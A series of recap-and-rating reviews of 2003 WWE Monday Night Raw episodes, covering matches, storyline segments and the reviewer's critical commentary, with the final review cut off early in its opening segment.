Monday Night Raw – October 20, 2003: Pay The Man Shirley

IMG Credit: WWE

Monday Night Raw
Date: October 20, 2003
Location: Casey Plaza, Wilkes Barre, Pennsylvania
Commentators: Jim Ross, Jerry Lawler

It’s still all about Goldberg and the bounty but this time he has a slightly better opponent with Shawn Michaels getting his shot. We’re also getting ready for Survivor Series in a few weeks, meaning things should be picking up in short order. Then again, that’s never stopped WWE before. Let’s get to it.

Here’s last week’s show if you need a recap.

In Memory of Hawk.

We recap the bounty angle, which hopefully picks up speed tonight.

Opening sequence.

Here’s Steve Austin to get things going. Austin came here earlier today and found a note. Someone wants him in the ring at nine o’clock, which means there’s someone back there who wants to physically provoke him. This brings out Test, on crutches, with Stacy Keibler in toe. Test yells at her for taking too long to hold the door open and says he sent the note. He’d love to beat Austin up right now but can’t because of the broken foot. He wants an apology for the injury and another one for what happened to Stacy last week.

Austin gives both of them a middle finger instead and hopes Stacy learned a lesson: what Austin offers you a beer, you either decline with a smile or drink until you pass out. Stacy is about to respond but Test tells her not to speak unless he tells her to. Austin would love to beat up any kind of a man, including a crippled man. A fight is teased but Test won’t provoke him. Instead, Stacy shoves Test into Austin and you know what that means.

Before beer can be consumed, Eric Bischoff comes up on screen to mock Austin for not being able to hit anyone. Austin agrees, so Bischoff suggests they assemble teams for Survivor Series with that rule being gone vs. Austin being gone. The Board of Directors has already approved of this and Bischoff already has Chris Jericho and Scott Steiner signed up for his team. Jericho asks Austin if he’s in and of course the match is on. Stacy intercepts the beer and drinks it herself to Lawler’s delight.

Shane McMahon is waiting for Kane. Egads get us to Survivor Series already so this thing can be done.

Tag Team Titles: Dudley Boyz vs. La Resistance

The Dudleys are defending and have dedicated the match to Hawk. D-Von and Conway start things off but a blind tag allows Dupree to come in with a dropkick to take over. The flying shoulder is mistimed and turns into a flying forearm instead but it still manages to send Dupree outside. Conway forearms D-Von down though and Dupree adds a Hennig necksnap. He throws in the dance too and of course Bubba is ready to kill him as a result. Bubba is likely more of a Saturday Night Fever fan.

It’s off to the chinlock for a bit until D-Von hits an enziguri (what an odd visual) to escape for the hot tag. That means a Flip Flop and Fly but D-Von gets crotched on top so the French guys can take over again. The double spinebuster gets two and there’s the USA chant. For some reason that doesn’t fire Conway up as he’s taken down with a reverse implant DDT. The Doomsday Device retains the titles.

Rating: D. The ending was a nice moment as you can imagine how big of an influence the Legion of Doom was on the Dudleys. La Resistance is better with Conway in the lineup but it’s still not like the team is anything more than a middle of the pack act at best. Thankfully they didn’t do another title change here and the Doomsday Device gave me a bit of a smile.

Bischoff gives Jericho and Steiner a pep talk before their tag match tonight. An argument breaks out over who is the leader. That’s the last thing Bischoff wants but Jericho says it’ll be fine.

Evolution promises that the bounty will be collected tonight. Booker T. comes in and says he’s ready to make a statement because the path to the Intercontinental Title begins right now. Randy Orton doesn’t buy it but Booker wants to fight right now.

Booker T. vs. Randy Orton

Joined in progress with Booker chopping Orton, in street clothes, up against the ropes. A hot shot and the backbreaker give Orton two and we hit the double arm crank. Booker is right back with a spinning kick to the face and the side kick but Orton takes the countout.

Rating: D+. This was more of an angle than a match though I could go for seeing more of these two together. Booker being back is a nice addition to the show but it’s not going to matter if he doesn’t have anyone to fight. That being said, he’d be a good choice for the Survivor Series team which is a fine way to get him back to speed.

Post match, Booker volunteers to be on Austin’s team. Makes perfect sense.

Raw World Title: Shawn Michaels vs. Goldberg

Shawn is challenging. And never mind as Mark Henry jumps Goldberg during his big entrance. No match.

Post break, Austin finds out what happened (because I guess he was petting his dog) and is ready to go throw Henry out of the building. The match is uncertain.

Chris Jericho/Scott Steiner vs. Rob Van Dam/Lance Storm

Steiner and Van Dam start things off with Scott saying Rob’s arms “don’t have diddly squat”. Those are fighting words so Rob kicks away, followed by a crossbody for an early two. The cartwheel moonsault gets two more and it’s off to Storm for a leg lariat. Jericho comes in and the silence when Storm is on offense is very noticeable. Storm escapes a wristlock by standing on the ropes and backflipping out, meaning it’s time for some posing.

A Steiner distraction lets Jericho knock Storm into the barricade though, followed by a loud whip into the steps. We hit the chinlock as Steiner is already running out of offense. The announcers recap the show as Storm makes his comeback, only to get suplexed right back down. As usual it’s a good looking suplex from Steiner and far more effective when he only uses one. Jericho comes in and does some pushups, followed by the loud chops in the corner.

That’s fine with Storm, who jumps from the mat to the top rope for a back elbow to the jaw. That kind of thing never stops impressing me. Van Dam comes in for the kicks and a northern lights suplex for two on Jericho. The bouncing kick is left short so Jericho grabs a rollup with feet on the ropes for two of his own. Everything breaks down with Storm diving onto Steiner and Van Dam flipping out of a Walls attempt. Steiner gets in a chair to Van Dam’s back though and the Lionsault is good for the pin.

Rating: C. I’m still a big fan of Storm (that athleticism is very impressive) but having a gimmick of “I’m not boring anymore” isn’t going to work. He’s just not charismatic (which he himself will admit) and I’m not sure how to turn him into a star that fans want to see. I’m not sure how good of a fit he would be on the Survivor Series team, though that’s definitely where the story seems to be going.

The trainer tells Bischoff that Goldberg might not be able to defend the title. Bischoff thinks it’s an act but Goldberg says it’s on.

JR and King pay tribute to Hawk and Stu Hart.

Video on Stu, with Vince narrating.

Flair is on the phone with someone (presumably Teddy Long) and says no money because Goldberg is still up. There’s a backup option though.

Jericho comes up to Trish Stratus in the back and says there’s no need to thank him for last week. Trish says he doesn’t have to be Chris Jericho here and sincerely thanks him for what he did. Last week wasn’t about Austin though, because Jericho really respects her. Things get a little awkward and they leave. I’m really glad we’re finally to this story as it’s always been a personal favorite.

Mark Jindrak and Garrison Cade come in to see Orton about collecting the bounty. They had another idea in mind: beating Orton down and stealing the money. A left hand staggers Orton and the briefcase is stolen.

Post break Orton is panicking when he runs into Flair. Orton doesn’t tell him the truth and says he’ll hang in the back instead of going out there with Flair. Ric wants Orton to show Shawn the money one more time before the title match.

Trish Stratus/Lita vs. Molly Holly/Victoria

Lawler is now referring to Molly as “Molly Hottie”, ignoring those times where he thought she was fat and rather unattractive. Good to see that he found some strong glasses. Trish and Victoria start things off but Molly comes in after just a few seconds. Apparently Trish isn’t a fan of fast tags as she chops Molly in the corner but a Stevie Richards distraction lets the villains take over.

The always cool looking spinning side slam gets two and it’s back to Molly for the same off a swinging neckbreaker. The Molly Go Round misses and that’s enough to bring Lita in. Everything breaks down and Molly gets hiptossed but Stevie sneaks in with a powerbomb to give Victoria the cheap pin on Trish.

Rating: D+. The matches aren’t terrible but it would be nice if someone actually remembered that there’s a title to fight over in this division. I can’t remember the last time Molly defended the thing and I can’t remember the last time she wasn’t considered one of the lower level names in the division, which defeats the point of being a champion. At least there’s a story though, and that’s a lot better than what the division has seen in a long time.

Post match the beatdown stays on with Victoria putting the Women’s Title over Lita’s face. The slingshot legdrop is loaded up but Christian runs in for the save. And the plot thickens.

We look back at Henry attacking Goldberg.

Maven vs. Ric Flair

Maven isn’t waiting for the WOOing and decks Flair in the jaw to start us off. A backdrop on the floor keeps Flair in trouble but the referee grabs Maven’s punch. You know, which is done so consistently. Flair gets in a cheap shot to take over and it’s time to rip the skin off of Maven’s chest in the corner. We hit the chinlock as JR says Cade and Jindrak took advantage of an opportunity. There’s the knee drop but Maven pops up and wins a slugout to near silence. Flair is of course one step ahead though and grabs a rollup with trunks for the fast pin.

Rating: D. Now can we drop the Maven experiment please? There’s no upside to Maven here and he’s nothing more than a jobber to the stars with big eyebrows. The wrestling isn’t any good and losing to Flair in about four minutes isn’t going to make the fans care about his lame offense and low level charisma.

In the back, Orton finally tells Flair what happened but they know they can figure it out before HHH kills them. Cops come running up and we follow them to Kane.

Here’s a cut up Kane in the arena with the cops guarding the entrance. This whole thing with Shane started with Linda, who thought she could stop the monster. Everyone has thought they can control her but Linda found out differently. Linda was squirming for her very life and screaming no, but Kane learned a long time ago that no means yes. Kane likes hurting people and it felt so good.

Now Shane thinks he can stop Kane, but throwing him into a burning dumpster didn’t stop him, just like crashing a limo didn’t do it either. Kane will do anything he wants to Shane and there is no line that he won’t cross. Shane is done at Survivor Series but his pain has just begun.

Post break, HHH comes in to yell at Flair and Orton but Ric blames it all on Orton in a funny bit. HHH actually hands Orton the briefcase again and says don’t let it happen again. They’ll be watching the match in the back and HHH guarantees that the bounty is collected tonight.

Raw World Title: Shawn Michaels vs. Goldberg

Shawn is challenging. Goldberg shoves him down with ease to start so Shawn starts sticking and moving. Some kicks to the knees and a dropkick to the side of the head have Goldberg in trouble but he’s right back with a gorilla press. Shawn takes a breather on the floor and he manages to shove Goldberg over the top in a surprising bit of power. Back in and Goldberg launches him into the corner but gets forearmed down. The power vs. speed stuff is working so far.

A powerslam cuts Shawn off but Goldberg is too banged up from the Henry attack. Goldberg scores with a military press but the spear hit the referee because of course it does. The superkick connects (see my previous because of course it does) to put everyone down. We get a replacement referee for the double count, despite Shawn only having been slammed a few times. Cue the returning Batista to send Shawn into the steps as the match is thrown out.

Rating: C-. This didn’t have time to go anywhere and that’s a shame as Shawn would seem to be someone capable of getting the best out of Goldberg. Batista returning is a great thing though as the three man Evolution really wasn’t working. Hopefully he’s gotten better in his time away, as the look is only going to take him so far.

The Batista Bomb plants Goldberg and Batista Pillmanizes Goldberg’s ankle. Evolution comes out and hands Batista the money to end the show.

Overall Rating: C-. Much better show than in recent weeks, though that’s not the hardest goal to achieve. The big thing here was they moved things forward towards Survivor Series with Batista returning to injure Goldberg and the announcement of the big elimination match. The wrestling was really pretty lame here but the storytelling was good, which is what matters a lot more in this case. Not a good show, but a step in the right direction.

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Monday Night Raw – September 1, 2003: Shocking

Monday Night Raw
Date: September 1, 2003
Location: Cajundome, Lafayette, Louisiana
Commentators: Jim Ross, Jerry Lawler

Wrestling please. Last week’s show was about everything but wrestling and I’d like to see that change this time around. The McMahons were all over last week’s show, along with various things such as attempted murder and bragging about sexual assault. That’s not what I was expecting on a wrestling show so hopefully it’s not here this time around. Let’s get to it.

We open with a recap of Kane’s path of rage, leading to Shane burning him alive (again) last week. There’s going to be a crazy amount of Shane tonight isn’t there?

Opening sequence.

JR let us know that Kane is NOT dead. Well that’s quite the start to the show.

Jerry Lawler vs. Jonathan Coachman

Well at least they’re getting it out of the way early. Coach wears University of Texas gear to tick JR off even further. Lawler gets tired of Coach circling him and punches him in the jaw to start us off. A belly to back suplex gets King out of a suplex….and here’s Al Snow (Coach’s broadcast partner on Heat) to say stop this. Coach gets back inside anyway and is wristlocked into an armbar. Lawler lets go so Coach heads outside and tells Snow he can do this, only to get punched down again. As you might expect, it’s a ruse with Snow posting Lawler so Coach can drop an elbow for the pin.

Rating: F. This is what they used to start Monday Night Raw. Not as filler later on, but during the first ten minutes of the show. It’s not going to appeal to the mainstream wrestling fans because they would know Al Snow as a comedy guy and it’s not going to appeal to the hardcore fans because it’s Jonathan Coachman. What is the thought process here, and why wasn’t it “no one is going to care about this” before moving on?

Terri asks Shane McMahon about burning Kane last week while mentioning that Kane “disappeared” from the dumpster. Shane hopes he’s still burning. Whatever keeps this story off TV.

Coach and Snow are celebrating when Eric Bischoff joins them. Steve Austin comes in and isn’t happy before going into the arena, despite it being time for the Highlight Reel. The set is quickly tossed to the floor and Austin has a beer. Please don’t spill it on that sweet carpet. First, Austin would like JR to stand up. Austin has been hearing that JR is Stone Cold’s boy and he’s getting sick of it. At Unforgiven, it’s Coach vs. JR (seriously), along with Shawn Michaels vs. Randy Orton.

Austin talks about the main event of Goldberg vs. HHH with Goldberg’s career on the line. Therefore, the fans in Lafayette, Louisiana should get to see Goldberg in a six man tag when he teams up with Maven/Shawn Michaels vs. Evolution. Austin is ready to go but cue an angry Chris Jericho to interrupt.

Jericho yells about the set being destroyed and how much it costs. Austin: “Yes I know because I wrote the check.” Jericho offers to forgive Austin if he’ll kiss Chris’ boots but it’s a middle finger instead. Now it’s Christian, who wants an apology for last week. Austin says no but does give Christian a match tonight. Jericho is ready for a tag match but Austin had something else in mind. This did what it needed to do but EGADS are they serious with this Coach vs. JR stuff? Like I said earlier: who in the world is this supposed to be appealing to?

Intercontinental Title: Christian vs. Chris Jericho

Christian is defending and the fans immediately call this boring. What else do you want here? Coach vs. King II? King rejoins commentary and the match ignoring can begin. Feeling out process to start with Jericho, in street clothes, having to skin the cat early on. Back in and some right hands in the corner don’t have much effect on Jericho so he grabs a rollup for two, much to Christian’s annoyance. Christian: “WHAT ARE YOU DOING???” Jericho: “Trying to be the champion!” Ask a simple question, get a simple answer.

They slug it out with Jericho being knocked to the floor but sending Christian into the steps for his efforts. Back in and Jericho chokes with the wrist tape like a real Canadian villain. Christian gets two off the reverse DDT backbreaker and chokes as well. A reverse tornado DDT gives Christian two but Jericho kicks the referee into the ropes to crotch the champ on top. As usual though, that’s not a DQ because the rules change almost by the minute.

The Lionsault hits knees but the Unprettier is countered into a Walls attempt with Christian reversing into a small package. Back up and Jericho’s spinning crossbody (off a turnbuckle with the pad removed) takes the referee down by mistake. The belt is brought in and Jericho’s bad looking Flashback (with Christian falling out of his grip) getting two. Jericho rolls him up with the tights for two but Christian reverses into one of his own, grabbing the ropes to retain.

Rating: C+. This started slowly but got better as things went on and you saw what kind of dastardly things they were willing to do to win the match. It fits them perfectly to be winning to cheat their best friend to get ahead, making the ending that much better. The fans wanted to see Jericho win here but he’s still a solid heel.

Shane McMahon is in the back when Austin comes up to him and says it might be best if Shane leaves. Shane thinks he’ll stick around actually. Well you can’t get the TV time from anywhere else. Unless you’re Linda that is.

Video on Goldberg dominating the Elimination Chamber until HHH destroyed him. Again: remember who is really in charge around here.

HHH is sick of hearing about Goldberg and starts the chant by mistake. Goldberg isn’t a wrestler but rather a mass marketed version of what someone thought a wrestler should be (I wonder who he’s talking about…). HHH is the best there is and the best in the game so he’ll end Goldberg’s mystique at Unforgiven. Goldberg comes in to say he’ll hurt HHH….later tonight because he wants HHH to think about it. The levels of ineptness when it comes to Goldberg continue to amaze me.

Trish Stratus/Ivory vs. Gail Kim/Molly Holly

King: “JR do you think Trish has a VCR?” JR: “A video recorder?” King: “No. A very cute rear.” Oh good grief go fight Coach again. The villains jump Trish and Ivory to start with Gail chopping Ivory up against the ropes. The spunky Ivory fights out because spunky is pretty much her entire character. JR thinks jealously might be the reason Molly and Gail hate Trish while Lawler thinks it’s just because women hate each other.

Gail misses a charge in the corner and Ivory sunset flips Molly for two. Ivory gets choked against the ropes and Molly grabs an over the shoulder backbreaker of all things. That’s escaped in short order and the hot tag brings in Trish as everything breaks down. Gail breaks up the Stratusphere on Molly and a double powerbomb ends Trish.

Rating: D+. This story continues to go nowhere and adding Ivory isn’t going to help anything because she’s just there for the sake of being a warm body. So Gail and Molly are jealous of Trish and Trish goes and gets Ivory to help her? That’s how low the depth is on the women’s roster? This story is a black hole of charisma and it’s not showing any signs of getting better. That finish looked good though.

Post match Ivory takes a double DDT.

Shane goes to leave but runs into Vince McMahon, who is on both shows again. Vince has a right to be here and while he hasn’t been the best father, he’s concerned about Shane. That doesn’t fly with the son, who wants to deal with this in the ring. In other words we need to get another long talking segment between these two.

Shane comes to the arena to call out Vince but he gets Eric Bischoff instead. After Shane says he’s not exactly scared here, Eric makes a threat….but gets cut off by Kane, who sneaks in from behind. Shane is sent into and smashed with the steps before Kane cuffs him to the post. With Shane’s legs pinned down by the steps, Kane pours water over him and pulls out a battery with some jumper cables. He attaches the cables to Shane’s crotch and electrocutes him until Rob Van Dam runs out for the save with a chair. Rob frees Shane’s testicles and beats Kane up even more.

I remembered the electrocution going on longer but maybe it was just because the story was dumb. Again: they’ve wasted their big moment with Kane and having him face Shane on pay per view in a street fight or whatever isn’t going to make up for a lot of this stuff. Kane should be in the World Title hunt but we’re getting this instead.

Bischoff makes Kane vs. Van Dam in a cage next week.

Hurricane/Rosey vs. La Resistance

Non-title. Hurricane armdrags Dupree to start as JR thinks Kane was planning to torture Shane tonight. Good thing he had a plan ready that includes Shane bumping into Vince in the back and saying he wanted to deal with this in the ring. Grenier sends Hurricane into the corner and we hit the bearhug as JR and King talk strategy for JR vs. Coach.

Now the discussion shifts to Kane attacking Linda and JR saying he won’t be a swimsuit model. Geez people can you please at least pretend that this that this match matters? Rosey gets in a splash for two as everything breaks down. Hurricane’s high crossbody gets two but Rob Conway (JR: “The master of disguise!” He’s in jeans and a sleeveless shirt here.) comes in with a belt shot to give Grenier the pin.

Rating: D-. Commentary is getting really annoying here as it’s all about ANYTHING else as they can’t even focus on a four minute match. Are the fans really going to stop caring if we’re not talking about Kane every second of every day? If it mattered that much, they would be doing something bigger for him than the Shane feud. I mean, I know WWE thinks Shane is the greatest thing since Stephanie, but not everyone else goes with that line of thinking.

Post match Grenier wants tables but here are the Dudleys for the save as this feud keeps going.

Maven has been wanting to be in this position since he came to WWE (All that time huh?) but Evolution comes in to laugh at him.

Post break Shawn comes in to see Maven, who has earned this. I know they’re trying with Maven but come on already. Hurricane has earned this more than he has.

Teddy Long asks Steve Austin why Rodney Mack and Mark Henry didn’t get the Intercontinental Title shot tonight. Austin says they got bumped and that’s that. He keeps walking and bumps into Rob Van Dam. Rob is cool with the cage match next week but wants it to start the show. Austin grants the request, mainly because next week is the season premiere of Monday Night Football.

Stacy Keibler calls Test a jerk and she doesn’t trust him. Egads that’s harsh for the man treating you like a sex slave. Test brings up the Testicles bit and says people can love them again. Everything will be fine.

Steven Richards/Victoria vs. Test/Stacy Keibler

This is intergender, meaning men can face women. Test and Stacy come out to the Legs song. As they come to the ring, the match is announced as No DQ. Test punches Steven to start and brings Stacy in (Why would she accept the tag?) to kick him in the ribs. Victoria gets in a cheap shot though and shouts about Stacy being a Barbie.

It’s back to Steven for a few spanks but he loads up a pumphandle, drawing Test in for a clothesline. Stacy crawls over for the tag and Test drops to the floor (JR: “Did Test slip off the apron?”). He comes back in and holds her for a slap from Victoria, who hits Test by mistake. Steven beats Test up and clotheslines Stacy, drawing in Scott Steiner for the save. Test kicks Victoria in the face by mistake (aiming for Steiner), giving Stacy the pin.

Rating: F. The Rock N Roll Express and the Midnight Express think this feud has been going on too long. I know Steiner isn’t exactly in the best place in the world at this point but they didn’t have ANYTHING else for him to do? Like maybe sit at home while his contract ran out? Somehow this is probably leading to Test vs. Steiner again as they manage to make this story even more ridiculous.

Test drags Stacy away again and stops to sneer at Steiner. What emotion.

Evolution vs. Shawn Michaels/Goldberg/Maven

Goldberg’s entrance is shortened a bit this week as Shawn, in a hat, slugs away at Orton to start. Maven comes in for some armdrags as JR pushes him as the big young star. It’s already off to Flair for some right hands in the corner but Shawn comes back in for the big staredown. Well it’s the best combination they have for this match.

Shawn punches everyone down, including knocking the still injured HHH off the apron. The slingshot dive takes out all of Evolution (Which JR calls a split. Taking down everything is called a strike JR.) but Flair gets in a low blow to cut him off. HHH actually comes in for a low blow of his own as JR says the people HHH has defeated in World Title matches could fill a Hall of Fame. I’d be down for a Taka Michinoku induction. Shawn kicks Flair away but HHH is back in to stomp him down.

Evolution keeps taking turns on Michaels with JR playing cheerleader. HHH grabs the abdominal stretch but gets caught cheating, earning a break so Shawn can chop away. Another hot tag attempt is cut off and HHH stops to taunt Goldberg a bit. A big shot allows the tag to Goldberg and things pick up in a hurry. HHH cuts Goldberg off (well of course) and punches him down in the corner, followed by Orton getting in a shot of his own. Instead it’s a spear to Orton and some trash talk to HHH before the Jackhammer puts Orton away.

Rating: C-. Totally standard main event tag formula, even though the match was a glorified handicap match as Maven was a total non-factor after the opening thirty seconds. Goldberg vs. HHH still isn’t a great story as they’re setting up Goldberg as the challenger of the month but at least the fans are still into him. Odds are we’ll be getting Shawn vs. Orton as well, which should do some good things for Randy’s future.

Overall Rating: D-. And somehow, this is MILES better than last week’s show. There’s a bunch of bad stuff here but at least it felt like a wrestling show (electrocution segment aside). They’re setting stuff up for Unforgiven and while it’s still not a good show, at least they’re going somewhere and it’s not all about the announcers and McMahons. The fact that it’s still heavily about them doesn’t help, but I’ll take what I can get after the recently terrible shows.

Remember to follow me on Twitter @kbreviews and pick up the 2018 Updated Version of the History of the WWE Championship in e-book or paperback. Check out the information here:

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Monday Night Raw – July 14, 2003: We Need a Sauce Recommendation

Monday Night Raw
Date: July 14, 2003
Location: Conseco Fieldhouse, Indianapolis, Indiana
Commentators: Jonathan Coachman, Jerry Lawler

So Kane is running around like a monster again and that could mean a lot of things. Well more likely it means Kane gets a big push and doesn’t win anything of note, but it’s still better than Kevin Nash. We also have Evolution back on the rise, albeit without any major challenger for HHH. Let’s get to it.

We open with a recap of Kane being motivated by Steve Austin last week, turning him back into the monster in the process.

Opening sequence.

It’s time for the Highlight Reel with a ticked off Chris Jericho. Enough is enough and it’s time for something to be done tonight. Raw has broken down into chaos over the last few weeks with superstars being attacked, grown men being terrified and even Jericho himself being scared. There’s one man who could save things though and that man is his guest tonight: Eric Bischoff, sporting a neck brace.

Jericho praises Bischoff’s courage for coming out here with Eric saying there was no way he was taking the suggested eight weeks off. Bischoff is back to deal with Kane, who has been running amok. He even has exclusive footage from last week with Kane attacking Rob Van Dam. As for tonight, Eric has sent JR to Connecticut to interview Kane but here’s Austin to cut him off. Austin was ready to deal with Kane tonight and if that means beating him up, so be it.

Bischoff doesn’t think much of the plan and puts the whole thing on Austin’s head for berating Kane a few weeks ago. Austin is ready to leave with no violence but Jericho opens his mouth and calls him worthless, earning a Stunner to give the fans something to cheer for. This was nearly fifteen minutes long and went pretty much nowhere.

Trish Stratus/Kevin Nash/Scott Steiner vs. Steven Richards/Test/Victoria

This is supposed to be a fair match? Steiner and Richards start things off, meaning it’s an early belly to belly suplex into the pushups. The women come in and Trish Matrixes into the Chick Kick for two. Test trips Trish up from the apron though and comes in for a clothesline. Victoria’s slingshot suplex gets two but a neckbeaker gets Trish out of trouble. It’s off to Nash, now billed as Big Nasty, for a big boot to Test’s face. The Jackknife ends Richards.

Rating: D. So we were really supposed to buy Test and Steven Richards as a match for two former World Champions? That’s the best they can do for a midcard match around here? The women were trying here but there was too much bad going around to really allow this to work. Well that and the uninteresting story and trying to set up what seems to be a Test vs. Nash feud.

Jericho demands Bischoff do something about Austin.

Lance Storm vs. Maven

Before the match, Storm threatens to sue the fans for chanting BORING. As weird as this might sound, Storm might be too boring to make this work. They hit the mat to start with the boring chants beginning early. Maven manages to botch a hiptoss so Storm goes down for two anyway. Storm gets all fired up and throws off his elbow pad as Lawler points out that no one has ever chanted BORING at him. We hit an armbar as the crowd just keeps dying.

Storm grabs a long chinlock to try and set something up, only to have Maven fight up with some weak clotheslines. Maven’s high crossbody is rolled thru but Maven rolls thru that for a sloppy two. The announcers aren’t exactly hiding how bad this is as Storm gets two of his own off a superkick. The Maple Leaf goes on and Maven grabs the rope before reversing the unbroken hold into a rollup for the pin.

Rating: F. It takes a lot to bring down Lance Storm, who is one of the most technically sound wrestlers you’ll find. Maven managed to do it though and that can’t be a huge surprise. Basically WWE is having a guy who would be just getting started on the indy circuit to come on Raw and have high level matches. That’s just dumb thinking and I have no idea why WWE kept putting him out there like this. You have a developmental system for a reason.

JR is ready to interview Kane.

Here’s La Resistance for a chat. They’re glad Bischoff is back because Austin held them off the show last week. Today is Bastille Day so let’s hit that French National Anthem. They’re still at it after a break until all three Dudleys, carrying the American flag, come in for the save. Grenier takes a 3D and the Dudleyz sing the Star Spangled Banner because the French National Anthem sucks.

Dudley Boyz vs. Evolution

Elimination rules. Bubba and Flair get things going with a backdrop sending Ric into his swearing fit. Ric flips Spike off to bring him in and a single slap gives us the Flair Flop. A dropkick makes things even worse but Flair pokes him in the eye to stop the nonsense. Orton comes in for his own dropkick which nearly clears Spike’s head. HHH gets in a few shots before it’s back to Orton, who is taken down this time.

Spike’s top rope double stomp connects and everything breaks down. The Dudley Dog is countered into an RKO for the first elimination and it’s looking bad for the brothers. A Doomsday Device plants Orton and Bubba splashes the other two in the corner. Maybe it’s not looking so bad. There’s What’s Up to HHH and a 3D to Orton (who shakes his head no as he’s falling into the cutter for a great touch) but Flair makes a save.

HHH is back up with a French flag shot to D-Von though and the elimination leaves Bubba all alone. D-Von leaves but Bubba calls him back to get the table. Dude GET YOUR OWN TABLES FOR ONCE! Referees cut him off though and we take a break. Back with Flair having to let go of a reversed Figure Four. Bubba fights up and hits HHH low, followed by a Bubba Bomb to Orton. HHH is laid out on a table at ringside but Flair makes a save, allowing the Pedigree to connect. Orton gets the final pin to wrap things up.

Rating: D+. The wrestling wasn’t much but they FINALLY gave Orton something here as he scored all three pins. They need to do something to make him look like a big deal and while this isn’t enough to pull the job off, it’s certainly a step in the right direction. Let him pick up the Intercontinental Title in the near future and things will be just fine for him.

Rob Van Dam tells Bischoff he wants Kane so the match is made for next week. Bischoff tells him to proceed with caution but Van Dam says he started this with Kane and next week he’ll finish it.

Jericho is gathering signatures on a petition to get rid of Austin. A bunch of people have signed but Tommy Dreamer seems hesitant.

Before the next match, Teddy Long says he and Rodney Mack signed the petition to get rid of Austin. There should be a black man replacing him, but Teddy can’t do it himself due to obligations to Players Inc. He has other ideas though, like Snoop Dogg or Johnnie Cochran.

Rodney Mack vs. Rosey

Rosey shoulders him down and hits a corner splash but Long breaks up the Samoan drop with a low blow to give Mack the fast pin.

Post match Hurricane comes in with a missile dropkick on Mack.

Evolution signs the petition.

Intercontinental Title: Booker T. vs. Christian

Booker is defending in the feud that won’t die. Some early forearms have Christian in trouble as Coach dares to question the power of the peepulation. A missile dropkick attempt is broken up and Booker is sent into the corner. Christian whips him into the steps for two and it’s time for the chinlock with a knee in Booker’s back. Booker fights up with a spinning kick to the face and a spinebuster for two as Lawler sings Christian’s praises.

We get a ref bump (here we go) and Christian hits the Unprettier for no count. A second ref comes in for the two and Christian isn’t happy with the near fall. He makes up for it with a rollup while grabbing ropes and the trunks for the pin and the title. That’s all well and good but the first referee gets up and says not so fast. Cue Austin to bring in a THIRD ref and restart the match so Booker can hit a quick ax kick to retain.

Rating: C-. I could live with this a little more if the matches weren’t so bad but these have been the very definition of average at best. The guys don’t have chemistry together and it becomes more clear every week. It also doesn’t help that there are a bunch of people who could use an Intercontinental Title feud (or even a match or two) and we’re stuck with this stuff over and over. It’s not awful but it’s been covered quite thoroughly.

Post match Christian beats up a referee so Austin runs back in for a Stunner.

Bischoff gets a call from Linda McMahon.

Kane gives JR a present but it’s left on a table for now.

Women’s Title: Gail Kim vs. Molly Holly

Gail is defending. They trade wristlocks to start with Gail wristdragging her out of the corner. Lawler asks Coach what he knows about Gail’s background. Coach: “Well I know she looks good.” I know it’s only been a few weeks but they probably should have more than just that to go on. Molly gets rolled up for two as Lawler talks about liking Molly’s high estrogen levels. Gail gets in a dropkick and a hurricanrana, followed by a second hurricanrana to retain.

Rating: D-. The commentary actually summed up the problem with Gail, and most of the women on the roster for that matter. Can someone tell me any details about almost any of the women? Molly is annoyed at almost everyone, Victoria is basically crazy, Trish is plucky, Jacqueline is loud, Ivory is….well her name is Ivory, and Gail is an attractive rookie. Am I really missing anything important? The match was terrible too as Gail showed the ability to do fewer moves than a banged up Kevin Nash.

JR opens his gift and finds….a gas can. If he makes fun of Kane once, he’ll be set on fire. Since security around here sucks, we go ahead with the interview. After JR sucks up to avoid a bad case of being burned alive, we see the same video that opened the show. Kane’s reactions to that: anger and hatred. He doesn’t understand why so many people want to see his face because it brings him pain.

JR brings up the lack of scars or horrible skin that Kane always talks about. Kane says JR sounds like the doctors from when he was a kid who told him to go see a shrink. The towel comes off as Kane keeps ranting about how much of a monster he is. JR says he sees a man who needs help so Kane asks him for help.

We get some Oklahoma psychiatry with JR saying no one cares what Kane looks like. That sets him off and screaming ensues, only to have Austin come into the arena to calm Kane down. I mean, I’m not sure how well that’s going to work when Austin is in Indianapolis and Kane is in Connecticut but I’m no Austin.

Kane yells at Austin and JR before punching the latter down. JR is lit on fire (I wonder if it would be wrong to ask him which kind of barbecue sauce would go best on him.) and put out rather slowly. Bischoff comes out to say this is Austin’s fault so Linda will be here to fire him next week. So yeah, a guy was just lit on fire (didn’t need to happen as Kane was nailing it before things got silly) but let’s cut back to the bickering bosses to end the show. You know, because THE GUY BEING LIT ON FIRE is totally forgettable.

Overall Rating: D. There are moments of acceptable on here but egads the bad stuff is really bad. It’s a bunch of horrible wrestling but the worse part is the lack of much of a direction. Why am I supposed to be interested in Test vs. Nash, Rosey vs. Mack and Storm vs. being boring? That’s really as good as they can get at this point? You can’t throw Goldberg out there for a squash just to wake the crowd up a little bit? A pay per view might help, but above all else they need something interesting just to give me something to look forward to on these shows. As usual, really boring show with almost nothing worth seeing.

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

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Monday Night Raw – June 16, 2003: The Fake One Is Better

Monday Night Raw
Date: June 16, 2003
Location: American Airlines Center, Dallas, Texas
Commentators: Jim Ross, Jerry Lawler

We’re past Bad Blood and thank goodness for that. Hopefully it means we’re done with Kevin Nash as a main event star though stranger things have happened. Since Smackdown will have its own brand exclusive show in September, we’re on the road to Summerslam in just over two months. Let’s get to it.

Opening sequence.

Here’s Mick Foley (who promised to go back to his boring life after last night) to open things up and, shockingly enough, he’s carrying a book. Foley thanks the fans for their support and talks about returning to his normal life on June 16, which happens to be today. However, he wanted one more chance to be inside a WWE ring, though he’ll be here next week in Madison Square Garden as well. We hit the cheap plug for Tietam Brown (which I have on my bookshelf) before Foley talks about putting the Mandible Claw on HHH last night.

That made him remember who he is….but here’s Evolution, now with music (albeit not their best known song). Orton calls Foley a loser and puts over his teammates’ accomplishments from last night. As for tonight though, it’s time for Evolution to find a fourth member and Foley could be up for that spot. Foley isn’t interested in being a Four Horseman wannabe and hanging out with a sixteen year old with no idea what to do with all this testosterone. He rips into Orton for all those injuries so early in his career because he’s never shown the heart that you need to be a star in this business.

